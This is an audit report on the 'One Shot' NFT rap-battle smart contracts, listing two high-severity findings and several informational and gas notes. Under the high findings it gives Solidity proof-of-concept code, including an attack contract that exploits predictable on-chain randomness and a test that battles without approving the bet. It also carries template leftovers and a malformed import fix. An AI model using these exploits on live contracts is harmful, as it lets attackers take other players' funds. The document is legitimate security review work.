One Shot Initial Audit Report

Version 0.1

Kostov.io

February 24, 2024

One Shot Audit Report

Panayot Kostov

February 24, 2024

Thunder Loan Audit Report

Prepared by: Panayot Kostov

Lead Auditors:

- Panayot Kostov

Assisting Auditors:

- None

Table of contents

See table

- Executive Summary
  - Issues found
- Findings
  - High
    * [H-1] In `RapBattle::_battle` the contract is using pseudo randomness - the random number could be predicted
    * [H-2] In `RapBattle::_battle` if the defender wins, the contract tries to transferFrom the challenger address to defender adress. However, the contract does not make sure that challenger has approved that and the defender may not get their money.
  - Medium
  - Low
  - Informational
    * [I-1] Could use direct import in Streets.sol and CredToken.sol
    * [I-2] Credibility not imlementing ICredToken inteface could lead to errors
    * [I-3] Unused import im OneShot.sol
    * [I-4] Unused code in RapBattle.sol
  - Gas
    * [GAS-1] Does not use immutable

About YOUR_NAME_HERE

Disclaimer

The Panayot Kostov team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```

```

Scope

```
|-- src
|    |-- CredToken.sol
|    |-- OneShot.sol
|    |-- RapBattle.sol
|    |-- Streets.sol
```

Protocol Summary

When opportunity knocks, you gunna answer it? One Shot lets a user mint a rapper NFT, have it gain experience in the streets (staking) and Rap Battle against other NFTs for Cred.

Roles

User - Should be able to mint a rapper, stake and unstake their rapper and go on stage/battle

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	0
Low	0
Info	4
Gas	1
Total	7

Findings

High

[H-1] In `RapBattle::_battle` the contract is using pseudo randomness - the random number could be predicted

Description: User can write a contract which checks what the random number will be and challenge the defender only if they are going to be the winner.

Impact: 1. Very high impact - could predict the outcome of a game and participate in it only if they are the winners - cheating the game and the defender

Proof of Concept: 1. Wait for someone to enter the stage 2. Check if the random number bigger defenderRapperSkill 3. If it is - enter the battle 4. Take the prize from the defender

```
{
function testPseudoRandomness(uint256 randomBlock) public
    twoSkilledRappers {
        uint256 challengerAmountBet = 3;
        uint256 challengerTokenId = 1;

        //Defender
        vm.startPrank(user);
        oneShot.approve(address(rapBattle), 0);
        cred.approve(address(rapBattle), 3);
        console.log("User allowance before battle:", cred.allowance(
            user, address(rapBattle)));
        rapBattle.goOnStageOrBattle(0, 3);
        vm.stopPrank();

        //Challenger person
        vm.startPrank(challenger);
        CheckRandomness checkRandomness = new CheckRandomness(rapBattle
           , challengerTokenId , cred, oneShot);
        oneShot.approve(address(checkRandomness), challengerTokenId);
        cred.approve(address(checkRandomness), challengerAmountBet);
        vm.roll(randomBlock);
        vm.recordLogs();
        checkRandomness.attack();
        console.log("User allowance before battle:", cred.allowance(
           challenger, address(rapBattle)));
        vm.stopPrank();

        assert(cred.balanceOf(challenger) >= 4);
    }
}
contract CheckRandomness {
    RapBattle public immutable rapBattle;
    Credibility public immutable cred;
    OneShot public immutable oneShot;
    uint256 public immutable tokenId;

    uint256 public random;

    constructor(RapBattle _rapBattle, uint256 _tokenId, Credibility
       _cred, OneShot _oneShot) {
        rapBattle = _rapBattle;
        tokenId = _tokenId;
        cred = _cred;
        oneShot = _oneShot;
    }

    function attack() public {
        address defender = rapBattle.defender();

        if (defender != address(0)) {
            uint256 defenderTokenId = rapBattle.defenderTokenId();

            uint256 defenderRapperSkill = rapBattle.getRapperSkill(
               defenderTokenId);
            uint256 challengerRapperSkill = rapBattle.getRapperSkill(
               tokenId);
            uint256 totalBattleSkill = defenderRapperSkill +
               challengerRapperSkill;

            random = uint256(keccak256(abi.encodePacked(block.timestamp
               , block.prevrandao, address(this))))
                % totalBattleSkill;

            uint256 defenderBet = rapBattle.defenderBet();

            if (random > defenderRapperSkill) {
                //Get the tokens from the challenger(which tries to hack the contract)
                oneShot.transferFrom(msg.sender, address(this), tokenId);
                cred.transferFrom(msg.sender, address(this), defenderBet);

                //Approve for rapBattle
                oneShot.approve(address(rapBattle), tokenId);
                cred.approve(address(rapBattle), defenderBet);

                //Battle
                rapBattle.goOnStageOrBattle(tokenId, defenderBet);

                //Return the challenger his bet and defender bet
                cred.transfer(msg.sender, defenderBet * 2);
                oneShot.transferFrom(address(this), msg.sender, tokenId);
            } else {
                console.log("Not calling anything!");
            }
        }
    }
}
```

Recommended Mitigation: Use randomness from an oracle - Chainlink for example

[H-2] In `RapBattle:_battle` if the defender wins, the contract tries to transferFrom the challenger address to defender adress. However, the contract does not make sure that challenger has approved that and the defender may not get their money.

Description: User can enter a battle as a challenger without approving the bet before that. There are two scenarios: -Challenger wins and takes the money from the defender -Challenger loses and the transaction is reverted

Impact: 1. Very high impact - challenger never loses money and has a pretty high chance of winning some - basically tricking the defender

Proof of Concept: 1. Wait for someone to enter the stage 2. Call `RapBattle:goOnStageOrBattle` without calling `approve` before that 3. Enter the game 4. If you win - you win the defender's money 5. If you lose - the transaction is reverted

```
function testChallengerDoesNotSendMoney(uint256 randomBlock) public twoSkilledRappers {
    vm.startPrank(user);
    oneShot.approve(address(rapBattle), 0);
    cred.approve(address(rapBattle), 3);
```

```
        console.log("User allowance before battle:", cred.allowance(
           user, address(rapBattle)));
        rapBattle.goOnStageOrBattle(0, 3);
        vm.stopPrank();

        vm.startPrank(challenger);
        oneShot.approve(address(rapBattle), 1);
        console.log("User allowance before battle:", cred.allowance(
           challenger, address(rapBattle)));

        // Change the block number so we get different RNG
        vm.roll(randomBlock);
        vm.recordLogs();
        rapBattle.goOnStageOrBattle(1, 3);
        vm.stopPrank();

        Vm.Log[] memory entries = vm.getRecordedLogs();
        // Convert the event bytes32 objects -> address
        address winner = address(uint160(uint256(entries[0].topics[2]))
           );
        assert(cred.balanceOf(winner) == 7);
    }
```

Recommended Mitigation: Make sure the user has approved the betted amount or make them transfer the money to the contract.

Medium

Low

Informational

[I-1] Could use direct import in Streets.sol and CredToken.sol

Recommended Mitigation: Streets.sol:

```
+ import {IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/
   IERC721Receiver.sol";
- import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
```

CredToken.sol:

```
+ import {ERC20.sol} from "@openzeppelin/contracts/token/ERC20/ERC20.
   sol"
+ import {Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
- import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
- import "@openzeppelin/contracts/access/Ownable.sol";
```

[I-2] Credibility not imlementing ICredToken inteface could lead to errors

Recommended Mitigation: Imlement ICredToken in CredToken.sol

[I-3] Unused import im OneShot.sol

Recommended Mitigation:

```
+ import {IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/
  IERC721Receiver.sol";
- import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
```

[I-4] Unused code in RapBattle.sol

Recommended Mitigation:

Bellow in the code we have this comment - // Otherwise, since the challenger never sent us the money, we just give the money in the contract That is why I think this is Info and not bug

```
+
- // credToken.transferFrom(msg.sender, address(this), _credBet);"
```

```
+
- /uint256 totalPrize = defenderBet + _credBet;
```

Gas

[GAS-1] Does not use immutable

`Streets:oneShotContract` and `Streets:credContract` could be immutable